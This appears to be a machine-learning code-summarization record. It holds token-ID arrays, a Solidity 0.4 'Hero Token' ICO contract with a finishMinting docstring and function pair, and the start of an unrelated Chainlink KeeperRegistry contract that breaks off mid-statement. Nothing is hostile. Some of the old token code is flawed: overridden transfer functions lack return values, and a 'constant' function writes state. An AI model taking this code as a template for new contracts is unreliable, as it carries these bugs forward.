[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 12, 11890, 5034, 389, 9853, 2148, 16, 467, 654, 39, 3462, 389, 9953, 1345, 16, 1426, 389, 1918, 1891, 13, 1071, 1338, 5541, 288, 203, 3639, 309, 261, 67, 1918, 1891, 13, 288, 203, 5411, 8039, 1891, 16639, 5621, 203, 3639, 289, 203, 3639, 2254, 5034, 1142, 17631, 1060, 1768, 273, 1203, 18, 2696, 405, 787, 1768, 692, 1203, 18, 2696, 294, 787, 1768, 31, 203, 3639, 2078, 8763, 2148, 273, 2078, 8763, 2148, 18, 1289, 24899, 9853, 2148, 1769, 203, 3639, 2845, 966, 18, 6206, 12, 2864, 966, 12590, 203, 5411, 12423, 1345, 30, 389, 9953, 1345, 16, 203, 5411, 4767, 2148, 30, 389, 9853, 2148, 16, 203, 5411, 1142, 17631, 1060, 1768, 30, 1142, 17631, 1060, 1768, 16, 203, 5411, 4078, 38, 18220, 29670, 2173, 9535, 30, 374, 203, 3639, 289, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.13; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract DisbursableToken is MintableToken { using SafeMath for uint256; struct Account { uint claimedPoints; uint allowedPoints; uint lastPointsPerToken; } event Disburse(address _source, uint _amount); event ClaimDisbursement(address _account, uint _amount); // The disbursement multiplier exists to correct rounding errors // One disbursed wei = 1e18 disbursement points uint pointMultiplier = 1e18; uint totalPointsPerToken; uint unclaimedDisbursement; uint totalDisbursement; mapping(address => Account) accounts; /** * @dev Function to send eth to owners of this token. */ function disburse() public payable { totalPointsPerToken = totalPointsPerToken.add(msg.value.mul(pointMultiplier).div(totalSupply)); unclaimedDisbursement = unclaimedDisbursement.add(msg.value); totalDisbursement = totalDisbursement.add(msg.value); Disburse(msg.sender, msg.value); } /** * @dev Function to update the claimable disbursements whenever tokens change hands * @param _account address The address whose claimable disbursements should be updated * @return A uint256 specifing the amount of wei still available for the owner. */ function updatePoints(address _account) internal { uint newPointsPerToken = totalPointsPerToken.sub(accounts[_account].lastPointsPerToken); accounts[_account].allowedPoints = accounts[_account].allowedPoints.add(balances[_account].mul(newPointsPerToken)); accounts[_account].lastPointsPerToken = totalPointsPerToken; } /** * @dev Function to check the amount of wei that a token owner can claim. * @param _owner address The address which owns the funds. * @return A uint256 specifing the amount of wei still available for the owner. */ function claimable(address _owner) constant returns (uint256 remaining) { updatePoints(_owner); return accounts[_owner].allowedPoints.sub(accounts[_owner].claimedPoints).div(pointMultiplier); } /** * @dev Function to claim the wei that a token owner is entitled to * @param _amount uint256 How much of the wei the user will take */ function claim(uint _amount) public { require(_amount > 0); updatePoints(msg.sender); uint claimingPoints = _amount.mul(pointMultiplier); require(accounts[msg.sender].claimedPoints.add(claimingPoints) <= accounts[msg.sender].allowedPoints); accounts[msg.sender].claimedPoints = accounts[msg.sender].claimedPoints.add(claimingPoints); ClaimDisbursement(msg.sender, _amount); require(msg.sender.send(_amount)); } /** * @dev Function to mint tokens. We need to modify this to update points. * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { updatePoints(_to); super.mint(_to, _amount); } function transfer(address _to, uint _value) returns(bool) { updatePoints(msg.sender); updatePoints(_to); super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another while ensuring that claims remain where they are * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) returns(bool) { updatePoints(_from); updatePoints(_to); super.transferFrom(_from, _to, _value); } } /** * @title Hero token * @dev This is the token being sold * * ABI * [{"constant":true,"inputs":[],"name":"mintingFinished","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"startTrading","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_amount","type":"uint256"}],"name":"claim","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"claimable","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_amount","type":"uint256"}],"name":"mint","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"tradingStarted","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"disburse","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_source","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"Disburse","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_account","type":"address"},{"indexed":false,"name":"_amount","type":"uint256"}],"name":"ClaimDisbursement","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[],"name":"MintFinished","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] */ contract HeroToken is DisbursableToken { string public name = "Hero Token"; string public symbol = "HERO"; uint public decimals = 18; bool public tradingStarted = false; /** * @dev modifier that throws if trading has not started yet */ modifier hasStartedTrading() { require(tradingStarted); _; } /** * @dev Allows the owner to enable the trading. This can not be undone */ function startTrading() onlyOwner { tradingStarted = true; } /** * @dev Allows anyone to transfer the DEVE tokens once trading has started * @param _to the recipient address of the tokens. * @param _value number of tokens to be transfered. */ function transfer(address _to, uint _value) hasStartedTrading returns(bool) { super.transfer(_to, _value); } /** * @dev Allows anyone to transfer the DEVE tokens once trading has started * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) hasStartedTrading returns(bool) { super.transferFrom(_from, _to, _value); } function() external payable { disburse(); } } /** * @title MainSale * @dev The main HERO token sale contract * * ABI * [{"constant":false,"inputs":[{"name":"_multisigVault","type":"address"}],"name":"setMultisigVault","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"saleOngoing","outputs":[{"name":"","type":"bool"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"exchangeRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"base","type":"uint256"}],"name":"bonusTokens","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"altDeposits","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"},{"name":"tokens","type":"uint256"}],"name":"authorizedCreateTokens","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_saleOngoing","type":"bool"}],"name":"setSaleOngoing","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"finishMinting","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"totalAltDeposits","type":"uint256"}],"name":"setAltDeposits","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_token","type":"address"}],"name":"retrieveTokens","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"hardcap","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"start","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"recipient","type":"address"}],"name":"createTokens","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[],"name":"multisigVault","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_exchangeRate","type":"uint256"}],"name":"setExchangeRate","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_hardcap","type":"uint256"}],"name":"setHardcap","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_start","type":"uint256"}],"name":"setStart","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"token","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"recipient","type":"address"},{"indexed":false,"name":"ether_amount","type":"uint256"},{"indexed":false,"name":"token_amount","type":"uint256"},{"indexed":false,"name":"exchangerate","type":"uint256"}],"name":"TokenSold","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"recipient","type":"address"},{"indexed":false,"name":"token_amount","type":"uint256"}],"name":"AuthorizedCreate","type":"event"},{"anonymous":false,"inputs":[],"name":"MainSaleClosed","type":"event"}] */ contract MainSale is Ownable { using SafeMath for uint; event TokenSold(address recipient, uint ether_amount, uint token_amount, uint exchangerate); event AuthorizedCreate(address recipient, uint token_amount); event MainSaleClosed(); HeroToken public token = new HeroToken(); address public multisigVault; uint public hardcap = 250000 ether; uint public exchangeRate = 200; uint public altDeposits = 0; uint public start = 1609372800; //new Date("December 31, 2020 00:00:00").getTime() / 1000 bool public saleOngoing = true; /** * @dev modifier to allow token creation only when the sale IS ON */ modifier isSaleOn() { require(start < now && saleOngoing && !token.mintingFinished()); _; } /** * @dev modifier to allow token creation only when the hardcap has not been reached */ modifier isUnderHardcap() { require(multisigVault.balance + altDeposits <= hardcap); _; } /* * @dev Allows anyone to create tokens by depositing ether. * @param recipient the recipient to receive tokens. */ function createTokens(address recipient) public isUnderHardcap isSaleOn payable { uint base = exchangeRate.mul(msg.value).mul(10**token.decimals()).div(1 ether); uint bonus = bonusTokens(base); uint tokens = base.add(bonus); token.mint(recipient, tokens); require(multisigVault.send(msg.value)); TokenSold(recipient, msg.value, tokens, exchangeRate); } /** * @dev Computes the number of bonus tokens awarded based on the current time. * @param base the original number of tokens made without counting the bonus */ function bonusTokens(uint base) constant returns(uint) { uint bonus = 0; if (now <= start + 3 hours) { bonus = base.mul(3).div(10); } else if (now <= start + 24 hours) { bonus = base.mul(2).div(10); } else if (now <= start + 3 days) { bonus = base.div(10); } else if (now <= start + 7 days) { bonus = base.div(20); } else if (now <= start + 14 days) { bonus = base.div(40); } return bonus; } /** * @dev Allows authorized acces to create tokens. This is used for Bitcoin and ERC20 deposits * @param recipient the recipient to receive tokens. * @param tokens number of tokens to be created. */ function authorizedCreateTokens(address recipient, uint tokens) public onlyOwner { token.mint(recipient, tokens); AuthorizedCreate(recipient, tokens); } /** * @dev Allows the owner to set the starting time. * @param _start the new _start */ function setStart(uint _start) public onlyOwner { start = _start; } /** * @dev Allows the owner to set the hardcap. * @param _hardcap the new hardcap */ function setHardcap(uint _hardcap) public onlyOwner { hardcap = _hardcap; } /** * @dev Allows to set the toal alt deposit measured in ETH to make sure the hardcap includes other deposits * @param totalAltDeposits total amount ETH equivalent */ function setAltDeposits(uint totalAltDeposits) public onlyOwner { altDeposits = totalAltDeposits; } /** * @dev Allows the owner to set the multisig contract. * @param _multisigVault the multisig contract address */ function setMultisigVault(address _multisigVault) public onlyOwner { if (_multisigVault != address(0)) { multisigVault = _multisigVault; } } /** * @dev Allows the owner to set the exchange rate * @param _exchangeRate the exchangerate address */ function setExchangeRate(uint _exchangeRate) public onlyOwner { exchangeRate = _exchangeRate; } /** * @dev Allows the owner to stop the sale * @param _saleOngoing whether the sale is ongoing or not */ function setSaleOngoing(bool _saleOngoing) public onlyOwner { saleOngoing = _saleOngoing; } /** * @dev Allows the owner to finish the minting. * The ownership of the token contract is transfered * to this owner. */ function finishMinting() public onlyOwner { token.finishMinting(); token.transferOwnership(owner); MainSaleClosed(); } /** * @dev Allows the owner to transfer ERC20 tokens to the multi sig vault * @param _token the contract address of the ERC20 contract */ function retrieveTokens(address _token) public onlyOwner { ERC20 foreignToken = ERC20(_token); foreignToken.transfer(multisigVault, foreignToken.balanceOf(this)); } /** * @dev Fallback function which receives ether and created the appropriate number of tokens for the * msg.sender. */ function() external payable { createTokens(msg.sender); } }
* @dev Allows the owner to finish the minting. The ownership of the token contract is transfered to this owner./
function finishMinting() public onlyOwner { token.finishMinting(); token.transferOwnership(owner); MainSaleClosed(); }
10,787,735
[ 1, 19132, 326, 3410, 358, 4076, 326, 312, 474, 310, 18, 1021, 23178, 434, 326, 1147, 6835, 353, 7412, 329, 358, 333, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 4076, 49, 474, 310, 1435, 1071, 1338, 5541, 288, 203, 565, 1147, 18, 13749, 49, 474, 310, 5621, 203, 565, 1147, 18, 13866, 5460, 12565, 12, 8443, 1769, 203, 565, 12740, 30746, 7395, 5621, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./interfaces/AggregatorV3Interface.sol"; import "./interfaces/LinkTokenInterface.sol"; import "./interfaces/KeeperCompatibleInterface.sol"; import "./interfaces/KeeperRegistryInterface.sol"; import "./interfaces/TypeAndVersionInterface.sol"; import "./vendor/SafeMathChainlink.sol"; import "./vendor/Address.sol"; import "./vendor/Pausable.sol"; import "./vendor/ReentrancyGuard.sol"; import "./vendor/SignedSafeMath.sol"; import "./vendor/SafeMath96.sol"; import "./KeeperBase.sol"; import "./ConfirmedOwner.sol"; /** * @notice Registry for adding work for Chainlink Keepers to perform on client * contracts. Clients must support the Upkeep interface. */ contract KeeperRegistry1_1 is TypeAndVersionInterface, ConfirmedOwner, KeeperBase, ReentrancyGuard, Pausable, KeeperRegistryExecutableInterface { using Address for address; using SafeMathChainlink for uint256; using SafeMath96 for uint96; using SignedSafeMath for int256; address private constant ZERO_ADDRESS = address(0); address private constant IGNORE_ADDRESS = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF; bytes4 private constant CHECK_SELECTOR = KeeperCompatibleInterface.checkUpkeep.selector; bytes4 private constant PERFORM_SELECTOR = KeeperCompatibleInterface.performUpkeep.selector; uint256 private constant CALL_GAS_MAX = 5_000_000; uint256 private constant CALL_GAS_MIN = 2_300; uint256 private constant CANCELATION_DELAY = 50; uint256 private constant CUSHION = 5_000; uint256 private constant REGISTRY_GAS_OVERHEAD = 80_000; uint256 private constant PPB_BASE = 1_000_000_000; uint64 private constant UINT64_MAX = 2**64 - 1; uint96 private constant LINK_TOTAL_SUPPLY = 1e27; uint256 private s_upkeepCount; uint256[] private s_canceledUpkeepList; address[] private s_keeperList; mapping(uint256 => Upkeep) private s_upkeep; mapping(address => KeeperInfo) private s_keeperInfo; mapping(address => address) private s_proposedPayee; mapping(uint256 => bytes) private s_checkData; Config private s_config; uint256 private s_fallbackGasPrice; // not in config object for gas savings uint256 private s_fallbackLinkPrice; // not in config object for gas savings uint256 private s_expectedLinkBalance; LinkTokenInterface public immutable LINK; AggregatorV3Interface public immutable LINK_ETH_FEED; AggregatorV3Interface public immutable FAST_GAS_FEED; address private s_registrar; /** * @notice versions: * - KeeperRegistry 1.1.0: added flatFeeMicroLink * - KeeperRegistry 1.0.0: initial release */ string public constant override typeAndVersion = "KeeperRegistry 1.1.0"; struct Upkeep { address target; uint32 executeGas; uint96 balance; address admin; uint64 maxValidBlocknumber; address lastKeeper; } struct KeeperInfo { address payee; uint96 balance; bool active; } struct Config { uint32 paymentPremiumPPB; uint32 flatFeeMicroLink; // min 0.000001 LINK, max 4294 LINK uint24 blockCountPerTurn; uint32 checkGasLimit; uint24 stalenessSeconds; uint16 gasCeilingMultiplier; } struct PerformParams { address from; uint256 id; bytes performData; uint256 maxLinkPayment; uint256 gasLimit; uint256 adjustedGasWei; uint256 linkEth; } event UpkeepRegistered(uint256 indexed id, uint32 executeGas, address admin); event UpkeepPerformed( uint256 indexed id, bool indexed success, address indexed from, uint96 payment, bytes performData ); event UpkeepCanceled(uint256 indexed id, uint64 indexed atBlockHeight); event FundsAdded(uint256 indexed id, address indexed from, uint96 amount); event FundsWithdrawn(uint256 indexed id, uint256 amount, address to); event ConfigSet( uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, uint256 fallbackGasPrice, uint256 fallbackLinkPrice ); event FlatFeeSet(uint32 flatFeeMicroLink); event KeepersUpdated(address[] keepers, address[] payees); event PaymentWithdrawn(address indexed keeper, uint256 indexed amount, address indexed to, address payee); event PayeeshipTransferRequested(address indexed keeper, address indexed from, address indexed to); event PayeeshipTransferred(address indexed keeper, address indexed from, address indexed to); event RegistrarChanged(address indexed from, address indexed to); /** * @param link address of the LINK Token * @param linkEthFeed address of the LINK/ETH price feed * @param fastGasFeed address of the Fast Gas price feed * @param paymentPremiumPPB payment premium rate oracles receive on top of * being reimbursed for gas, measured in parts per billion * @param flatFeeMicroLink flat fee paid to oracles for performing upkeeps, * priced in MicroLink; can be used in conjunction with or independently of * paymentPremiumPPB * @param blockCountPerTurn number of blocks each oracle has during their turn to * perform upkeep before it will be the next keeper's turn to submit * @param checkGasLimit gas limit when checking for upkeep * @param stalenessSeconds number of seconds that is allowed for feed data to * be stale before switching to the fallback pricing * @param gasCeilingMultiplier multiplier to apply to the fast gas feed price * when calculating the payment ceiling for keepers * @param fallbackGasPrice gas price used if the gas price feed is stale * @param fallbackLinkPrice LINK price used if the LINK price feed is stale */ constructor( address link, address linkEthFeed, address fastGasFeed, uint32 paymentPremiumPPB, uint32 flatFeeMicroLink, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, uint256 fallbackGasPrice, uint256 fallbackLinkPrice ) ConfirmedOwner(msg.sender) { LINK = LinkTokenInterface(link); LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed); FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed); setConfig( paymentPremiumPPB, flatFeeMicroLink, blockCountPerTurn, checkGasLimit, stalenessSeconds, gasCeilingMultiplier, fallbackGasPrice, fallbackLinkPrice ); } // ACTIONS /** * @notice adds a new upkeep * @param target address to perform upkeep on * @param gasLimit amount of gas to provide the target contract when * performing upkeep * @param admin address to cancel upkeep and withdraw remaining funds * @param checkData data passed to the contract when checking for upkeep */ function registerUpkeep( address target, uint32 gasLimit, address admin, bytes calldata checkData ) external override onlyOwnerOrRegistrar returns (uint256 id) { require(target.isContract(), "target is not a contract"); require(gasLimit >= CALL_GAS_MIN, "min gas is 2300"); require(gasLimit <= CALL_GAS_MAX, "max gas is 5000000"); id = s_upkeepCount; s_upkeep[id] = Upkeep({ target: target, executeGas: gasLimit, balance: 0, admin: admin, maxValidBlocknumber: UINT64_MAX, lastKeeper: address(0) }); s_checkData[id] = 